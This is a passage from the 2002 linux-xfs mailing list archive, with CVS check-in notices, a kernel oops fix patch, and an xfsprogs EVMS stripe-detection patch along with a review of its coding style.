From owner-linux-xfs@oss.sgi.com Thu Aug 1 00:42:45 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g717gjRw020954 for ; Thu, 1 Aug 2002 00:42:45 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g717gjxe020953 for linux-xfs-outgoing; Thu, 1 Aug 2002 00:42:45 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g717gcRw020925 for ; Thu, 1 Aug 2002 00:42:38 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id AAA08200 for ; Thu, 1 Aug 2002 00:44:11 -0700 (PDT) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id g717i5B05459; Thu, 1 Aug 2002 17:44:05 +1000 Date: Thu, 1 Aug 2002 17:44:05 +1000 From: Keith Owens Message-Id: <200208010744.g717i5B05459@sherman.melbourne.sgi.com> Subject: TAKE - Clean up exported symbols X-Spam-Status: No, hits=2.2 required=5.0 tests=MAY_BE_FORGED,MISSING_HEADERS version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Now that dmapi is part of the xfs module, the only exported symbols required are for xfsidbg. Date: Thu Aug 1 00:43:15 PDT 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124112a linux/fs/xfs/xfsidbg.c - 1.193 linux/fs/xfs/linux/xfs_globals.c - 1.32 linux/fs/xfs/dmapi/Makefile - 1.15 linux/fs/xfs/dmapi/dmapi_event.c - 1.8 linux/fs/xfs/dmapi/dmapi_register.c - 1.14 linux/fs/xfs/dmapi/dmapi_sysent.c - 1.14 linux/fs/xfs/dmapi/Makefile.in - 1.5 linux/fs/xfs/linux/Makefile.in - 1.12 From owner-linux-xfs@oss.sgi.com Thu Aug 1 01:13:37 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g718DbRw021844 for ; Thu, 1 Aug 2002 01:13:37 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g718DbfA021843 for linux-xfs-outgoing; Thu, 1 Aug 2002 01:13:37 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g718DURw021815 for ; Thu, 1 Aug 2002 01:13:30 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id BAA02996 for ; Thu, 1 Aug 2002 01:15:02 -0700 (PDT) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id g718F1e05721; Thu, 1 Aug 2002 18:15:01 +1000 Date: Thu, 1 Aug 2002 18:15:01 +1000 From: Keith Owens Message-Id: <200208010815.g718F1e05721@sherman.melbourne.sgi.com> Subject: TAKE - Upgrade to 2.4.19-rc5 X-Spam-Status: No, hits=2.2 required=5.0 tests=MAY_BE_FORGED,MISSING_HEADERS version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk So many kernel releases, so little time ... Date: Thu Aug 1 01:14:27 PDT 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124113a linux/drivers/sbus/char/openprom.c - 1.13 linux/drivers/block/ll_rw_blk.c - 1.83 linux/Makefile - 1.177 From owner-linux-xfs@oss.sgi.com Thu Aug 1 05:04:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71C4JRw024792 for ; Thu, 1 Aug 2002 05:04:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71C4JcP024791 for linux-xfs-outgoing; Thu, 1 Aug 2002 05:04:19 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from rrzs2.rz.uni-regensburg.de (rrzs2.rz.uni-regensburg.de [132.199.1.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71C49Rw024763 for ; Thu, 1 Aug 2002 05:04:10 -0700 Received: from pc9391.physik.uni-regensburg.de (mail@pc9391.physik.uni-regensburg.de [132.199.98.219]) by rrzs2.rz.uni-regensburg.de (8.9.3/8.9.3-URRZ-Sol-2.7-01) with ESMTP id OAA16031 for ; Thu, 1 Aug 2002 14:05:43 +0200 (MET DST) Received: from loopback ([127.0.0.1] helo=pc9391 ident=guc28561) by pc9391.physik.uni-regensburg.de with esmtp (Exim 3.35 #1 (Debian)) id 17aEi7-0007kP-00 for ; Thu, 01 Aug 2002 14:05:43 +0200 Date: Thu, 1 Aug 2002 14:05:43 +0200 From: Christian Guggenberger To: linux-xfs@oss.sgi.com Subject: interrupt balancing with recent cvs kernels Message-ID: <20020801140543.E27971@pc9391.uni-regensburg.de> Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Balsa 1.2.4 Lines: 37 X-Spam-Status: No, hits=0.5 required=5.0 tests=LINES_OF_YELLING version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Sorry for being a little bit off-topic. I have a dell precision 530 with DUAL XEON 2.2 GHZ and tested 2.4.19-rc3-xfs(cvs) and 2.4.19-rc5-xfs(cvs). cat /proc/interrupts gives following result (hyperthreading disabled): CPU0 CPU1 0: 40378 0 IO-APIC-edge timer 1: 83 0 IO-APIC-edge keyboard 2: 0 0 XT-PIC cascade 14: 1414 0 IO-APIC-edge ide0 15: 6 0 IO-APIC-edge ide1 23: 12420 0 IO-APIC-level eth0 NMI: 0 0 LOC: 40282 40280 ERR: 0 MIS: 0 with hyperthreading enabled: cat /proc/interrupts CPU0 CPU1 CPU2 CPU3 0: 5787 0 0 0 1: 2 0 0 0 2: 0 0 0 0 14: 2406 0 0 1 15: 5 0 0 1 23: 1105 0 0 0 NMI: 0 0 0 0 LOC: 5634 5632 5633 5633 ERR: 0 MIS: 0 is this behaviour normal or should i worry about? i also testet the -ac series, and they showed well balanced interrupts. thanks in advance Christian From owner-linux-xfs@oss.sgi.com Thu Aug 1 05:54:17 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71CsHRw032046 for ; Thu, 1 Aug 2002 05:54:17 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71CsHo7032045 for linux-xfs-outgoing; Thu, 1 Aug 2002 05:54:17 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71CsBRw032017 for ; Thu, 1 Aug 2002 05:54:12 -0700 Received: (qmail 13655 invoked from network); 1 Aug 2002 12:55:45 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 1 Aug 2002 12:55:45 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id C50403000BA; Thu, 1 Aug 2002 22:55:42 +1000 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 9EA0094; Thu, 1 Aug 2002 22:55:42 +1000 (EST) X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 From: Keith Owens To: Christian Guggenberger Cc: linux-xfs@oss.sgi.com Subject: Re: interrupt balancing with recent cvs kernels In-reply-to: Your message of "Thu, 01 Aug 2002 14:05:43 +0200." <20020801140543.E27971@pc9391.uni-regensburg.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 01 Aug 2002 22:55:37 +1000 Message-ID: <23681.1028206537@ocs3.intra.ocs.com.au> X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 1 Aug 2002 14:05:43 +0200, Christian Guggenberger wrote: >Sorry for being a little bit off-topic. >I have a dell precision 530 with DUAL XEON 2.2 GHZ and tested >2.4.19-rc3-xfs(cvs) and 2.4.19-rc5-xfs(cvs). >i also testet the -ac series, and they showed well balanced interrupts. It is a kernel issue, not XFS. You need to ask on linux-kernel@vger.kernel.org, after searching the archives, try http://www.google.com/linux?hl=en&lr=&ie=ISO-8859-1&q=balanced+interrupts+dell From owner-linux-xfs@oss.sgi.com Thu Aug 1 07:13:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71ED4Rw003656 for ; Thu, 1 Aug 2002 07:13:04 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71ED4EH003655 for linux-xfs-outgoing; Thu, 1 Aug 2002 07:13:04 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from moving-picture.com (mpc-26.sohonet.co.uk [193.203.82.251]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71ECuRw003627 for ; Thu, 1 Aug 2002 07:12:57 -0700 Received: from offline.mpc.local ([172.16.20.7] helo=moving-picture.com) by moving-picture.com with esmtp (Exim 3.22 #1) id 17aGif-00070z-00; Thu, 01 Aug 2002 15:14:25 +0100 Message-ID: <3D494240.7C5978E9@moving-picture.com> Date: Thu, 01 Aug 2002 15:14:24 +0100 From: James Pearson Organization: Moving Picture Company X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX 6.5 IP22) X-Accept-Language: en MIME-Version: 1.0 To: Stephen Lord CC: linux-xfs@oss.sgi.com Subject: Re: Unable to handle kernel NULL pointer dereference with2.4.19-rc3-xfs References: <3D46738B.308AD0BF@moving-picture.com> <1028030060.2171.1.camel@laptop.americas.sgi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Stephen Lord wrote: > > On Tue, 2002-07-30 at 06:07, James Pearson wrote: > > I've just had the following oops with nfsd on an XFS file system using a > > CVS kernel from July 22nd - not sure if it's XFS or NFS related ... > > > > It looks like XFS, I see a problem, will take a little bit to work out > the correct fix. > > Steve Is there anything I can do/not do that may help the situation? The problem hasn't occurred again (yet!). Thanks James Pearson From owner-linux-xfs@oss.sgi.com Thu Aug 1 07:33:18 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71EXIRw003992 for ; Thu, 1 Aug 2002 07:33:18 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71EXIZh003990 for linux-xfs-outgoing; Thu, 1 Aug 2002 07:33:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71EX9Rw003958 for ; Thu, 1 Aug 2002 07:33:09 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA69114; Thu, 1 Aug 2002 09:34:39 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-24.corp.sgi.com [134.15.64.24]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id JAA28154; Thu, 1 Aug 2002 09:34:39 -0500 (CDT) Subject: Re: Unable to handle kernel NULL pointer dereference with2.4.19-rc3-xfs From: Stephen Lord To: James Pearson Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D494240.7C5978E9@moving-picture.com> References: <3D46738B.308AD0BF@moving-picture.com> <1028030060.2171.1.camel@laptop.americas.sgi.com> <3D494240.7C5978E9@moving-picture.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 01 Aug 2002 09:32:12 -0500 Message-Id: <1028212334.2683.14.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-6.7 required=5.0 tests=IN_REP_TO,SUBJ_HAS_SPACES,UNIFIED_PATCH version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-01 at 09:14, James Pearson wrote: > Stephen Lord wrote: > > > > On Tue, 2002-07-30 at 06:07, James Pearson wrote: > > > I've just had the following oops with nfsd on an XFS file system using a > > > CVS kernel from July 22nd - not sure if it's XFS or NFS related ... > > > > > > > It looks like XFS, I see a problem, will take a little bit to work out > > the correct fix. > > > > Steve > > Is there anything I can do/not do that may help the situation? > > The problem hasn't occurred again (yet!). Well, it looks like a pretty narrow window. I can certainly prevent the oops, understanding the root cause of the oops is what I am trying to dig into - in my spare time which is somewhat minimal at the moment. This code will stop the oops, if I read things wrong it will turn it into a cpu loop though. Steve =========================================================================== Index: linux/fs/xfs/xfs_iget.c =========================================================================== --- /usr/tmp/TmpDir.14466-0/linux/fs/xfs/xfs_iget.c_1.167 Thu Aug 1 09:33:25 2002 +++ linux/fs/xfs/xfs_iget.c Tue Jul 30 12:31:32 2002 @@ -477,6 +477,10 @@ } bdp = vn_bhv_lookup(VN_BHV_HEAD(vp), &xfs_vnodeops); + if (!bdp) { + iput(inode); + goto retry; + } ip = XFS_BHVTOI(bdp); if (lock_flags != 0) { xfs_ilock(ip, lock_flags); From owner-linux-xfs@oss.sgi.com Thu Aug 1 07:53:26 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71ErQRw004374 for ; Thu, 1 Aug 2002 07:53:26 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71ErQpR004373 for linux-xfs-outgoing; Thu, 1 Aug 2002 07:53:26 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e1.ny.us.ibm.com. (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71EquRw004333 for ; Thu, 1 Aug 2002 07:52:56 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e1.ny.us.ibm.com. (8.12.2/8.12.2) with ESMTP id g71ErfbW080930; Thu, 1 Aug 2002 10:53:42 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g71ErcGw024746; Thu, 1 Aug 2002 10:53:38 -0400 Subject: xfsprogs patch for evms From: Luciano Chavez To: linux-xfs@oss.sgi.com Cc: lord@sgi.com Content-Type: multipart/mixed; boundary="=-go9MZoqVZ2UxblPytI15" X-Mailer: Ximian Evolution 1.0.8 Date: 01 Aug 2002 09:49:36 -0500 Message-Id: <1028213377.16184.77.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.0 required=5.0 tests=FROM_ENDS_IN_NUMS,UNIFIED_PATCH version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=-go9MZoqVZ2UxblPytI15 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hello, I've attached a patch to the cmd/xfsprogs tree to allow support for obtaining stripe unit/size info for EVMS volumes when issuing a mkfs.xfs command to an EVMS managed volume. This change, in hand with the log version 2 changes already in CVS, should help align the log on EVMS volumes. Please let me know if there are any questions. The patch works in conjunction with the just released EVMS 1.1.0 release and follow-on releases. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net --=-go9MZoqVZ2UxblPytI15 Content-Disposition: attachment; filename=xfsprogs-evms.patch Content-Transfer-Encoding: quoted-printable Content-Type: text/x-patch; name=xfsprogs-evms.patch; charset=ISO-8859-1 diff -urN xfsprogs-2.0.3/libdisk/Makefile xfsprogs-2.0.3-evms/libdisk/Makef= ile --- xfsprogs-2.0.3/libdisk/Makefile Mon Apr 15 09:08:58 2002 +++ xfsprogs-2.0.3-evms/libdisk/Makefile Thu Jun 20 11:45:18 2002 @@ -38,8 +38,8 @@ LT_REVISION =3D 0 LT_AGE =3D 0 =20 -CFILES =3D fstype.c pttype.c md.c xvm.c lvm.c drivers.c mountinfo.c -HFILES =3D fstype.h pttype.h md.h xvm.h +CFILES =3D fstype.c pttype.c md.c xvm.c lvm.c drivers.c mountinfo.c evms.c +HFILES =3D fstype.h pttype.h md.h xvm.h evms.h =20 default: $(LTLIBRARY) =20 diff -urN xfsprogs-2.0.3/libdisk/drivers.c xfsprogs-2.0.3-evms/libdisk/driv= ers.c --- xfsprogs-2.0.3/libdisk/drivers.c Mon Apr 15 09:08:58 2002 +++ xfsprogs-2.0.3-evms/libdisk/drivers.c Thu Jun 20 11:45:18 2002 @@ -40,6 +40,7 @@ extern int md_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat= 64*); extern int lvm_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat= 64*); extern int xvm_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat= 64*); +extern int evms_get_subvol_stripe(char*, sv_type_t, int*, int*, struct sta= t64*); =20 void get_subvol_stripe_wrapper(char *dev, sv_type_t type, int *sunit, int *swid= th) @@ -53,7 +54,9 @@ fprintf(stderr, "Cannot stat %s: %s\n", dev, strerror(errno)); exit(1); } - +=20=20=20=20=20=20=20=20 + if (evms_get_subvol_stripe(dev, type, sunit, swidth, &sb)) + return; if ( md_get_subvol_stripe(dev, type, sunit, swidth, &sb)) return; if (lvm_get_subvol_stripe(dev, type, sunit, swidth, &sb)) diff -urN xfsprogs-2.0.3/libdisk/evms.c xfsprogs-2.0.3-evms/libdisk/evms.c --- xfsprogs-2.0.3/libdisk/evms.c Wed Dec 31 18:00:00 1969 +++ xfsprogs-2.0.3-evms/libdisk/evms.c Tue Jul 23 10:30:08 2002 @@ -0,0 +1,77 @@ +/* + * + * Copyright (c) International Business Machines Corp., 2002 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or=20 + * (at your option) any later version. + *=20 + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software=20 + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 U= SA + * + * Module: evms.c + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "evms.h" + +int +mnt_is_evms_subvol(dev_t dev) +{ + if (dev >> 8 =3D=3D EVMS_MAJOR) + return(1); + return(0); +} + +static int +get_stripe_info(int fd, evms_vol_stripe_info_t *info) +{ + int rc =3D 0; + int status; + + status =3D ioctl(fd, EVMS_GET_VOL_STRIPE_INFO, info); + if (status) { + rc =3D errno; + } + return(rc); +} + +int +evms_get_subvol_stripe(char *device, + sv_type_t type, + int *sunit, int *swidth, struct stat64 *sb) +{ + int rc =3D 0; + + if (mnt_is_evms_subvol(sb->st_rdev)) { + int fd; + + fd =3D open(device, O_RDONLY | O_NONBLOCK); + if (fd >=3D 0) { + evms_vol_stripe_info_t info; + + if (get_stripe_info(fd, &info) =3D=3D 0) { + *sunit =3D info.size; + *swidth =3D *sunit * info.width; + rc =3D 1; + } + close(fd); + } + } + return(rc); +} diff -urN xfsprogs-2.0.3/libdisk/evms.h xfsprogs-2.0.3-evms/libdisk/evms.h --- xfsprogs-2.0.3/libdisk/evms.h Wed Dec 31 18:00:00 1969 +++ xfsprogs-2.0.3-evms/libdisk/evms.h Tue Jul 23 10:24:50 2002 @@ -0,0 +1,44 @@ +/* + * + * Copyright (c) International Business Machines Corp., 2002 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or=20 + * (at your option) any later version. + *=20 + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software=20 + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 U= SA + * + * Module: evms.h + */ + +#include +#include + +#ifndef EVMS_MAJOR +#define EVMS_MAJOR 117 +#endif + +#define EVMS_GET_VOL_STRIPE_INFO_NUMBER 0xF0 +#define EVMS_GET_VOL_STRIPE_INFO_STRING "EVMS_GET_VOL_STRIPE_INFO" + +/* + * struct evms_vol_stripe_info_s - contains stripe information for a volume + * + * unit: the stripe unit specified in 512 byte block units + * width: the number of stripe members or RAID data disks + * + */ +typedef struct evms_vol_stripe_info_s { + u_int32_t size; + u_int32_t width; +} evms_vol_stripe_info_t; + +#define EVMS_GET_VOL_STRIPE_INFO _IOR(EVMS_MAJOR, EVMS_GET_VOL_STRI= PE_INFO_NUMBER, evms_vol_stripe_info_t) --=-go9MZoqVZ2UxblPytI15-- From owner-linux-xfs@oss.sgi.com Thu Aug 1 08:08:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71F8JRw004783 for ; Thu, 1 Aug 2002 08:08:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71F8JqX004782 for linux-xfs-outgoing; Thu, 1 Aug 2002 08:08:19 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71F8DRw004751 for ; Thu, 1 Aug 2002 08:08:14 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA73814 for ; Thu, 1 Aug 2002 10:09:44 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA02137 for ; Thu, 1 Aug 2002 10:09:44 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g71F6BD29195; Thu, 1 Aug 2002 10:06:11 -0500 Message-Id: <200208011506.g71F6BD29195@stout.americas.sgi.com> Date: Thu, 1 Aug 2002 10:06:11 -0500 Subject: TAKE - Fix that last xfstest 009 fix... X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Ok, this gets things passing on x86 and ia64 for all fs block sizes... and the test parameters are unchanged for x86. I'll talk to Daniel to make sure the test is still valid for ia64 with page size != 4k. Date: Thu Aug 1 08:04:44 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124120a cmd/xfstests/009 - 1.9 - Whoops, use a fixed 4k for alloc's "bsize" parameter, seems that this is independent of the fs block size. From owner-linux-xfs@oss.sgi.com Thu Aug 1 08:13:57 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71FDvRw004985 for ; Thu, 1 Aug 2002 08:13:57 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71FDvJI004984 for linux-xfs-outgoing; Thu, 1 Aug 2002 08:13:57 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71FDcRw004954 for ; Thu, 1 Aug 2002 08:13:44 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17aHfU-0003kz-00; Thu, 01 Aug 2002 16:15:12 +0100 Date: Thu, 1 Aug 2002 16:15:12 +0100 From: Christoph Hellwig To: Luciano Chavez Cc: linux-xfs@oss.sgi.com, lord@sgi.com Subject: Re: xfsprogs patch for evms Message-ID: <20020801161512.A14257@infradead.org> References: <1028213377.16184.77.camel@chavez> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1028213377.16184.77.camel@chavez>; from lnx1138@us.ibm.com on Thu, Aug 01, 2002 at 09:49:36AM -0500 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * Module: evms.c Urgg, could you remove thise Module: junk? I had to fight that in JFS already.. +#include +#include +#include +#include +#include +#include +#include +#include DON'T include kernel headers from userspace. Please use instead. +#include +#include "evms.h" + +int +mnt_is_evms_subvol(dev_t dev) +{ + if (dev >> 8 == EVMS_MAJOR) Please use major() from instead. Userspace dev_t is 16bit on libc4/libc5 systems and 64bit on glibc systems. I guess uclibc/dietlibc use something small, too. +static int +get_stripe_info(int fd, evms_vol_stripe_info_t *info) +{ + int rc = 0; + int status; + + status = ioctl(fd, EVMS_GET_VOL_STRIPE_INFO, info); + if (status) { + rc = errno; + } + return(rc); What about: if (ioctl(fd, EVMS_GET_VOL_STRIPE_INFO, info)) return errno; return 0; instead? much easier to parse. + * Module: evms.h Dito. +#include +#include Kernel header _again_. What do you actually need them for? From owner-linux-xfs@oss.sgi.com Thu Aug 1 08:39:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71FdCRw005494 for ; Thu, 1 Aug 2002 08:39:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71FdBpP005493 for linux-xfs-outgoing; Thu, 1 Aug 2002 08:39:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71Fd5Rw005464 for ; Thu, 1 Aug 2002 08:39:06 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e31.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g71FeaXW039562; Thu, 1 Aug 2002 11:40:36 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g71FeZ8v042490; Thu, 1 Aug 2002 09:40:36 -0600 Subject: Re: xfsprogs patch for evms From: Luciano Chavez To: Christoph Hellwig Cc: linux-xfs@oss.sgi.com, lord@sgi.com In-Reply-To: <20020801161512.A14257@infradead.org> References: <1028213377.16184.77.camel@chavez> <20020801161512.A14257@infradead.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 01 Aug 2002 10:36:32 -0500 Message-Id: <1028216192.16184.116.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Christoph, Thanks for the comments. I basically copied the style of the cmd/xfsprogs/libdisk/lvm.c and cmd/xfsprogs/libdisk/lvm.h without consideration that they may be an unfavorable example. I will make the changes you suggested and re-submit the patch. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net From owner-linux-xfs@oss.sgi.com Thu Aug 1 08:44:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71FiiRw005729 for ; Thu, 1 Aug 2002 08:44:44 -0700 Received: (from majordomo@localhost) by 